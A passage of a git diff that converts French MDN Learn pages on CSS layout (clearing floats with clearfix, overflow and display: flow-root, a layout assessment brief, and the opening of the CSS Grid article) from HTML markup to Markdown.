clear). Cela consiste à insérer un contenu après la boîte contenant le flotteur, envelopper le contenu et donner la valeur `both` à la propriété `clear`. -<p>Ajoutez ceci à la CSS de notre exemple :</p> +Ajoutez ceci à la CSS de notre exemple : -<pre class="brush: css">.wrapper::after { +```css +.wrapper::after { content: ""; clear: both; display: block; -}</pre> +} +``` -<p>Maintenant actualisez la page et la boîte est dégagée. C'est pratiquement la même chose que si vous aviez ajouté un élément HTML tel que <code><div></code> en dessous avec la règle <code>clear: both</code>.</p> +Maintenant actualisez la page et la boîte est dégagée. C'est pratiquement la même chose que si vous aviez ajouté un élément HTML tel que `<div>` en dessous avec la règle `clear: both`. -<pre class="brush: html hidden"><h1>Exemple simple de boîte flottante</h1> -<div class="wrapper"> - <div class="box">Boîte flottante</div> +```html hidden +<h1>Exemple simple de boîte flottante</h1> +<div class="wrapper"> + <div class="box">Boîte flottante</div> - <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> -</div> -<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +</div> +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +``` -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -348,34 +380,39 @@ original_slug: Apprendre/CSS/CSS_layout/Floats clear: both; display: block; } -</pre> +``` -<p>{{ EmbedLiveSample('Le_«_clearfix_hack_»', '100%', 600) }}</p> +{{ EmbedLiveSample('Le_«_clearfix_hack_»', '100%', 600) }} -<h3 id="Utilisation_du_débordement">Utilisation du débordement</h3> +### Utilisation du débordement -<p>Une autre méthode consiste à fixer la valeur de la propriété {{cssxref("overflow")}} de <code>wrapper</code> à autre chose que <code>visible</code>.</p> +Une autre méthode consiste à fixer la valeur de la propriété {{cssxref("overflow")}} de `wrapper` à autre chose que `visible`. -<p>Supprimez les éléments <code>clearfix</code> de la CSS su paragraphe précédent et, à la place, ajoutez <code>overflow: auto</code> aux règles pour <code>wrapper</code>. À nouveau, la boîte doit être dégagée.</p> +Supprimez les éléments `clearfix` de la CSS su paragraphe précédent et, à la place, ajoutez `overflow: auto` aux règles pour `wrapper`. À nouveau, la boîte doit être dégagée. -<pre class="brush: css">.wrapper { +```css +.wrapper { background-color: rgb(79,185,227); padding: 10px; color: #fff; overflow: auto; -}</pre> +} +``` -<pre class="brush: html hidden"><h1>Exemple simple de boîte flottante</h1> -<div class="wrapper"> - <div class="box">Boîte flottante</div> +```html hidden +<h1>Exemple simple de boîte flottante</h1> +<div class="wrapper"> + <div class="box">Boîte flottante</div> - <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> -</div> -<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +</div> +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +``` -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -398,34 +435,39 @@ original_slug: Apprendre/CSS/CSS_layout/Floats background-color: rgb(207,232,220); padding: 1em; } -</pre> +``` -<p>{{ EmbedLiveSample('Utilisation_du_débordement', '100%', 600) }}</p> +{{ EmbedLiveSample('Utilisation_du_débordement', '100%', 600) }} -<p>Cet exemple fonctionne en créant ce que l'on appelle un <strong>block formatting context</strong> (BFC) (contexte de formatage de bloc). C'est comme une mini composition à l'intérieur de la page, composition dans laquelle tout est contenu ; l'élément flottant est contenu à l'intérieur de la BFC et l'arrière-plan est derrière les deux éléments. Cela fonctionne en règle générale, mais dans certains cas, vous pourriez avoir des barres de défilement indésirables ou des ombres découpées en raison des conséquences involontaires de l'utilisation du débordement.</p> +Cet exemple fonctionne en créant ce que l'on appelle un **block formatting context** (BFC) (contexte de formatage de bloc). C'est comme une mini composition à l'intérieur de la page, composition dans laquelle tout est contenu ; l'élément flottant est contenu à l'intérieur de la BFC et l'arrière-plan est derrière les deux éléments. Cela fonctionne en règle générale, mais dans certains cas, vous pourriez avoir des barres de défilement indésirables ou des ombres découpées en raison des conséquences involontaires de l'utilisation du débordement. -<h3 id="«_display_flow-root_»">« display: flow-root »</h3> +### « display: flow-root » -<p>La solution moderne de ce problème consiste à utiliser la valeur <code>flow-root</code> pour le propriété <code>display</code>. Elle n'existe que pour créer des BFC sans recourir à des astuces — il n'y pas de conséquences imprévisibles à son utilisation. Supprimez <code>overflow: auto</code> de la règle <code>.wrapper</code> et ajoutez <code>display: flow-root</code>. En supposant que votre navigateur le prenne en charge, la boîte sera dégagée.</p> +La solution moderne de ce problème consiste à utiliser la valeur `flow-root` pour le propriété `display`. Elle n'existe que pour créer des BFC sans recourir à des astuces — il n'y pas de conséquences imprévisibles à son utilisation. Supprimez `overflow: auto` de la règle `.wrapper` et ajoutez `display: flow-root`. En supposant que votre navigateur le prenne en charge, la boîte sera dégagée. -<pre class="brush: css">.wrapper { +```css +.wrapper { background-color: rgb(79,185,227); padding: 10px; color: #fff; display: flow-root; -}</pre> +} +``` -<pre class="brush: html hidden"><h1>Exemple simple de boîte flottante</h1> -<div class="wrapper"> - <div class="box">Boîte flottante</div> +```html hidden +<h1>Exemple simple de boîte flottante</h1> +<div class="wrapper"> + <div class="box">Boîte flottante</div> - <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> -</div> -<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +</div> +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +``` -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -448,27 +490,25 @@ original_slug: Apprendre/CSS/CSS_layout/Floats background-color: rgb(207,232,220); padding: 1em; } -</pre> +``` -<p>{{ EmbedLiveSample('«_display_flow-root_»', '100%', 600) }}</p> +{{ EmbedLiveSample('«_display_flow-root_»', '100%', 600) }} -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Vous savez maintenant tout ce qu'il y a à savoir à propos des boîtes flottantes dans le développement moderne du web. Voyez l'article sur les <a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Méthodes anciennes de mise en page</a> pour toute information sur la façon dont elles étaient utilisées autrefois, ce qui pourrait se révéler utile si vous travaillez sur des projets anciens.</p> +Vous savez maintenant tout ce qu'il y a à savoir à propos des boîtes flottantes dans le développement moderne du web. Voyez l'article sur les [Méthodes anciennes de mise en page](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) pour toute information sur la façon dont elles étaient utilisées autrefois, ce qui pourrait se révéler utile si vous travaillez sur des projets anciens. -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal Flow</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy Layout Methods</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li> -</ul> +- [Introduction to CSS layout](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Normal Flow](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Floats](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positioning](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Multiple-column Layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Legacy Layout Methods](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Supporting older browsers](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Fundamental Layout Comprehension Assessment](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.md b/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.md index 3694a00968..aada82d606 100644 --- a/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.md +++ b/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.md @@ -4,79 +4,79 @@ slug: Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension translation_of: Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension original_slug: Apprendre/CSS/CSS_layout/Fundamental_Layout_Comprehension --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Si vous avez travaillé sur ce module, vous aurez déjà couvert les bases de ce que vous devez savoir pour faire la mise en forme CSS aujourd'hui, et pour travailler avec les anciennes CSS également. Cette tâche testera certaines de vos connaissances en développant une mise en page simple en utilisant diverses techniques.</p> +Si vous avez travaillé sur ce module, vous aurez déjà couvert les bases de ce que vous devez savoir pour faire la mise en forme CSS aujourd'hui, et pour travailler avec les anciennes CSS également. Cette tâche testera certaines de vos connaissances en développant une mise en page simple en utilisant diverses techniques. <table class="standard-table"> - <tbody> - <tr> - <th scope="row"><strong>Conditions préalables</strong>:</th> - <td>Avant de tenter cette évaluation, vous devriez déjà avoir passé en revue tous les articles de ce module.</td> - </tr> - <tr> - <th scope="row"><strong>Objectif</strong>:</th> - <td>Pour tester la compréhension des compétences de base en aménagement couvertes dans ce module.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row"><strong>Conditions préalables</strong>:</th> + <td> + Avant de tenter cette évaluation, vous devriez déjà avoir passé en revue + tous les articles de ce module. + </td> + </tr> + <tr> + <th scope="row"><strong>Objectif</strong>:</th> + <td> + Pour tester la compréhension des compétences de base en aménagement + couvertes dans ce module. + </td> + </tr> + </tbody> </table> -<h2 id="dossier_de_projet">dossier de projet</h2> +## dossier de projet -<p>Vous avez reçu du HTML brut, du CSS de base et des images - vous devez maintenant créer une mise en page pour la conception, qui devrait ressembler à l'image ci-dessous.</p> +Vous avez reçu du HTML brut, du CSS de base et des images - vous devez maintenant créer une mise en page pour la conception, qui devrait ressembler à l'image ci-dessous. -<p><img alt="" src="layout-task-complete.png"></p> + -<h3 id="configuration_de_base">configuration de base</h3> +### configuration de base -<p>Vous pouvez télécharger le code HTML, CSS et un ensemble de six images <a href="https://github.com/mdn/learning-area/tree/master/css/css-layout/fundamental-layout-comprehension">ici</a> .</p> +Vous pouvez télécharger le code HTML, CSS et un ensemble de six images [ici](https://github.com/mdn/learning-area/tree/master/css/css-layout/fundamental-layout-comprehension) . -<p>Enregistrez le document HTML et la feuille de style dans un répertoire de votre ordinateur, puis ajoutez les images dans un dossier nommé <code>images</code>. Ouvrir le <code>index.html</code>fichier dans un navigateur devrait vous donner une page avec un style de base mais pas de mise en page, ce qui devrait ressembler à l'image ci-dessous.</p> +Enregistrez le document HTML et la feuille de style dans un répertoire de votre ordinateur, puis ajoutez les images dans un dossier nommé `images`. Ouvrir le `index.html`fichier dans un navigateur devrait vous donner une page avec un style de base mais pas de mise en page, ce qui devrait ressembler à l'image ci-dessous. -<p>Ce point de départ contient tout le contenu de votre mise en page, tel qu’il est affiché par le navigateur dans un flux normal.</p> +Ce point de départ contient tout le contenu de votre mise en page, tel qu’il est affiché par le navigateur dans un flux normal. -<p><img alt="" src="layout-task-start.png"></p> + -<h3 id="Votre_section_detâches">Votre section de tâches</h3> +### Votre section de tâches -<p>Vous devez maintenant implémenter votre mise en page. Les tâches que vous devez accomplir sont:</p> +Vous devez maintenant implémenter votre mise en page. Les tâches que vous devez accomplir sont: -<ol> - <li>Pour afficher les éléments de navigation dans une ligne, avec un espace égal entre les éléments.</li> - <li>La barre de navigation doit défiler avec le contenu, puis rester bloquée en haut de la fenêtre d’affichage quand elle l’atteint.</li> - <li>L'image qui se trouve à l'intérieur de l'article doit être entourée de texte.</li> - <li>Les éléments <a href="/fr/docs/Web/HTML/Element/article"><code><article></code></a>et <a href="/fr/docs/Web/HTML/Element/aside"><code><aside></code></a>doivent s'afficher sous la forme d'une disposition à deux colonnes. La taille des colonnes doit être flexible de sorte que, si la fenêtre du navigateur est réduite, les colonnes deviennent plus étroites.</li> - <li>Les photographies doivent s’afficher sous forme de grille à deux colonnes avec un intervalle de 1 pixel entre les images.</li> -</ol> +1. Pour afficher les éléments de navigation dans une ligne, avec un espace égal entre les éléments. +2. La barre de navigation doit défiler avec le contenu, puis rester bloquée en haut de la fenêtre d’affichage quand elle l’atteint. +3. L'image qui se trouve à l'intérieur de l'article doit être entourée de texte. +4. Les éléments [`<article>`](/fr/docs/Web/HTML/Element/article)et [`<aside>`](/fr/docs/Web/HTML/Element/aside)doivent s'afficher sous la forme d'une disposition à deux colonnes. La taille des colonnes doit être flexible de sorte que, si la fenêtre du navigateur est réduite, les colonnes deviennent plus étroites. +5. Les photographies doivent s’afficher sous forme de grille à deux colonnes avec un intervalle de 1 pixel entre les images. -<p>Vous n'aurez pas besoin de modifier le code HTML pour obtenir cette présentation. Les techniques à utiliser sont les suivantes:</p> +Vous n'aurez pas besoin de modifier le code HTML pour obtenir cette présentation. Les techniques à utiliser sont les suivantes: -<ul> - <li>Positionnement</li> - <li>Flotte</li> - <li>Flexbox</li> - <li>CSS Grid Layout</li> -</ul> +- Positionnement +- Flotte +- Flexbox +- CSS Grid Layout -<p>Vous pouvez réaliser certaines de ces tâches de plusieurs manières et il n’existe souvent pas de bonne ou de mauvaise façon de faire les choses. Essayez différentes approches et voyez laquelle fonctionne le mieux. Prenez des notes pendant que vous expérimentez et vous pourrez toujours discuter de votre approche dans le fil de discussion de cet exercice ou dans le <a href="irc://irc.mozilla.org/mdn">canal</a> IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> .</p> +Vous pouvez réaliser certaines de ces tâches de plusieurs manières et il n’existe souvent pas de bonne ou de mauvaise façon de faire les choses. Essayez différentes approches et voyez laquelle fonctionne le mieux. Prenez des notes pendant que vous expérimentez et vous pourrez toujours discuter de votre approche dans le fil de discussion de cet exercice ou dans le [canal](irc://irc.mozilla.org/mdn) IRC [#mdn](irc://irc.mozilla.org/mdn) . -<h2 id="Evaluation">Evaluation</h2> +## Evaluation -<p>Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en vous renseignant sur le <a href="https://discourse.mozilla.org/t/fundamental-layout-comprehension-assessment/29982" rel="noopener">fil de discussion relatif à cet exercice</a> ou sur le <a href="irc://irc.mozilla.org/mdn">canal</a> IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla IRC</a> . Essayez d’abord l’exercice - il n’ya aucun avantage à tricher!</p> +Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en vous renseignant sur le [fil de discussion relatif à cet exercice](https://discourse.mozilla.org/t/fundamental-layout-comprehension-assessment/29982) ou sur le [canal](irc://irc.mozilla.org/mdn) IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC) . Essayez d’abord l’exercice - il n’ya aucun avantage à tricher! -<h2 id="Dans_ce_module_Section">Dans ce module Section</h2> +## Dans ce module Section -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction à la mise en page CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Débit normal</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">la grille</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Flotteurs</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positionnement</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Mise en page à plusieurs colonnes</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Responsive_Design">Conception sensible</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Media_queries">Guide du débutant aux questions des médias</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Méthodes de mise en page héritées</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Soutenir les anciens navigateurs</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Évaluation fondamentale de la compréhension de la mise en page.</a></li> -</ul> +- [Introduction à la mise en page CSS](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Débit normal](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [la grille](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Flotteurs](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positionnement](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Mise en page à plusieurs colonnes](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Conception sensible](/fr/docs/Learn/CSS/CSS_layout/Responsive_Design) +- [Guide du débutant aux questions des médias](/fr/docs/Learn/CSS/CSS_layout/Media_queries) +- [Méthodes de mise en page héritées](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Soutenir les anciens navigateurs](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Évaluation fondamentale de la compréhension de la mise en page.](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/grids/index.md b/files/fr/learn/css/css_layout/grids/index.md index 6a0d5da4ad..23532b7599 100644 --- a/files/fr/learn/css/css_layout/grids/index.md +++ b/files/fr/learn/css/css_layout/grids/index.md @@ -18,110 +18,133 @@ tags: translation_of: Learn/CSS/CSS_layout/Grids original_slug: Apprendre/CSS/CSS_layout/Grids --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}} -<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</div> - -<p>« CSS Grid Layout » (Trames avec les CSS) est un système de mise en page bidimensionnel. Il vous permet de disposer les contenus en lignes et en colonnes ; il possède de nombreuses fonctionnalités simplifiant la construction de mises en page complexes. Cet article vous indique tout ce que vous devez savoir pour commencer une mise en page avec une trame.</p> +« CSS Grid Layout » (Trames avec les CSS) est un système de mise en page bidimensionnel. Il vous permet de disposer les contenus en lignes et en colonnes ; il possède de nombreuses fonctionnalités simplifiant la construction de mises en page complexes. Cet article vous indique tout ce que vous devez savoir pour commencer une mise en page avec une trame. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Les fondamentaux du HTML (étudiez <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction au HTML</a>) et une idée de la manière dont la CSS fonctionne (étudiez <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction aux CSS</a> et <a href="/fr/Apprendre/CSS/styliser_boites">Styles de boîtes</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre les concepts fondamentaux sous-jacents de la disposition en trame et comment la mettre en œuvre en utilisant « CSS Grid ».</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Les fondamentaux du HTML (étudiez + <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML" + >Introduction au HTML</a + >) et une idée de la manière dont la CSS fonctionne (étudiez + <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction aux CSS</a> + et <a href="/fr/Apprendre/CSS/styliser_boites">Styles de boîtes</a>). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre les concepts fondamentaux sous-jacents de la disposition en + trame et comment la mettre en œuvre en utilisant « CSS Grid ». + </td> + </tr> + </tbody> </table> -<h2 id="Quest_quune_disposition_en_trame">Qu'est qu'une disposition en trame ?</h2> +## Qu'est qu'une disposition en trame ? -<p>Une trame est simplement un ensemble de lignes horizontales et verticales créant un quadrillage dans lequel nous pouvons agencer les éléments à afficher. Elles nous aident à créer des compositions dans lesquelles les éléments ne sautent pas ou ne changent pas de largeur au fur et à mesure que nous nous déplaçons d'une page à l'autre, ce qui assure une plus grande cohérence des sites Web.</p> +Une trame est simplement un ensemble de lignes horizontales et verticales créant un quadrillage dans lequel nous pouvons agencer les éléments à afficher. Elles nous aident à créer des compositions dans lesquelles les éléments ne sautent pas ou ne changent pas de largeur au fur et à mesure que nous nous déplaçons d'une page à l'autre, ce qui assure une plus grande cohérence des sites Web. -<p>La trame est constituée généralement de <strong>rangées</strong> (<strong>colonnes</strong> ou <strong>lignes)</strong>. L'espace entre chaque ligne ou colonne est communément appelé <strong>gouttière</strong>.</p> +La trame est constituée généralement de **rangées** (**colonnes** ou **lignes)**. L'espace entre chaque ligne ou colonne est communément appelé **gouttière**. -<p><img alt="Schéma du quadrillage" src="grille.png"></p> + -<h2 id="Création_dune_trame_CSS">Création d'une trame CSS</h2> +## Création d'une trame CSS -<p>Après avoir décidé le maillage voulu pour votre design, vous pouvez utiliser « CSS Grid Layout » pour créer une trame avec la CSS et y placer des éléments. Nous examinerons d'abord les caractéristiques de base de « Grid Layout » (disposition en quadrillage), puis nous explorerons comment créer un système de trame simple pour le projet.</p> +Après avoir décidé le maillage voulu pour votre design, vous pouvez utiliser « CSS Grid Layout » pour créer une trame avec la CSS et y placer des éléments. Nous examinerons d'abord les caractéristiques de base de « Grid Layout » (disposition en quadrillage), puis nous explorerons comment créer un système de trame simple pour le projet. -<h3 id="Définition_dune_trame">Définition d'une trame</h3> +### Définition d'une trame -<p>Pour débuter, téléchargez et ouvrez <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/0-starting-point.html">le fichier de départ</a> dans l'éditeur de texte et dans le navigateur. Vous y verrez un exemple constitué d'un conteneur avec quelques enfants. Par défaut, ils sont présentés suivant le cours normal : les boîtes s'affichent donc accolées les unes au dessous des autres. Nous travaillerons avec ce fichier dans la première partie de la leçon ; nous y introduirons des changements et observerons les modifications induites dans le comportement du maillage.</p> +Pour débuter, téléchargez et ouvrez [le fichier de départ](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/0-starting-point.html) dans l'éditeur de texte et dans le navigateur. Vous y verrez un exemple constitué d'un conteneur avec quelques enfants. Par défaut, ils sont présentés suivant le 